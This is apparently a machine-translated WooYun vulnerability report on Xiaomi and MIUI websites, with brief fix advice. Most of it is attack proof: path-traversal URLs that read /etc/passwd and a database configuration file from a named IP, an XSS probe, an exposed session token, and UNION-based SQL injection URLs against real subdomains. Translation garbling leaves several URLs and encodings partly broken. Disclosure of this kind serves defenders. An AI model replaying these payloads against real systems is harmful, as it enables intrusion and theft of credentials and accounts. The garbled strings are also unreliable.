Highlights of Xiaomi Technology website group (sub-site) Vulnerabilities

1. Website + Forum error information leakage
2: Cross-Site attack
3. Download any file
4: session management risks
New discoveries will be updated later.
 
Proof of vulnerability:
 
1. Website + Forum error information leakage
Http://res.api.miui.com/index.php
Http://bbs.xiaomi.com/uc_server/control/admin/db.php
Http://bbs.miliao.com/uc_server/control/admin/db.php
Http://ucenter.miui.com/uc_server/control/admin/db.php
Http://www.xiaomigongshe.com/wp-admin/includes/admin.php
Http://resource.xiaomi.net/
 
 
 




 
 
 
 
 
 
 
 
2: Cross-Site attack
Munion.xiaomi.com/index.php? Mod = <iframe src = //>
 
3. Download any file
Http: // 180.186.32.249/web/common/getfile. jsp? P =/.../etc/passwd
Http: // 180.186.32.249/web/common/getfile. jsp? P =/.../../opt/uficc/web/admin/login. jsp
Http: // 180.186.32.249/web/common/getfile. jsp? P =/.../../opt/uficc/icc_config/Proxool. properties
 
 
 


 
 
 
 
 
 
 
 
 
 
 
Database account password
 
 
 
 
 
4: session management risks
 
Http://order.xiaomi.com/site/callback? Referer = http % 3A % 2F % 2Fwww.xiaomi.com % 2F & token = S8yHMDpLJ0Lc432m % %%2f1h05mahjivk0pf1ddfl % %%%2bfttrew%fe1se % %3d
 
 
This account can be hijacked after any third party obtains the token, and the account can be hijacked no matter the password of the account is changed, and there is no time limit (no second session verification is performed at the same time ,), only one token is in the hand, which is valid in real time.
 
Solution:

Solution:
1: Disable php error message display

2: filter illegal and sensitive parameters
3: You can use the user permissions of the server to solve the problem.

Author: Pig beam @ wooyun


Part 2:

1. SQL injection point of a substation
Http://tg.miliao.com/index.php? Action = member-register & act = getSchool & province_id = 101% 20and % 201 = 2% 20 union % 20 select % 4%, TABLE_NAME, 20 from % 20INFORMATION_SCHEMA.TABLES --

2. An injection BUG in Miui
Http://www.miui.com/extra.php? Mod = themevote/stat & tpp = 1 /*! Select */& page = 2
This is defined as a BUG because no available methods are found.




Solution: Strengthen anti-Injection

Author: Jannock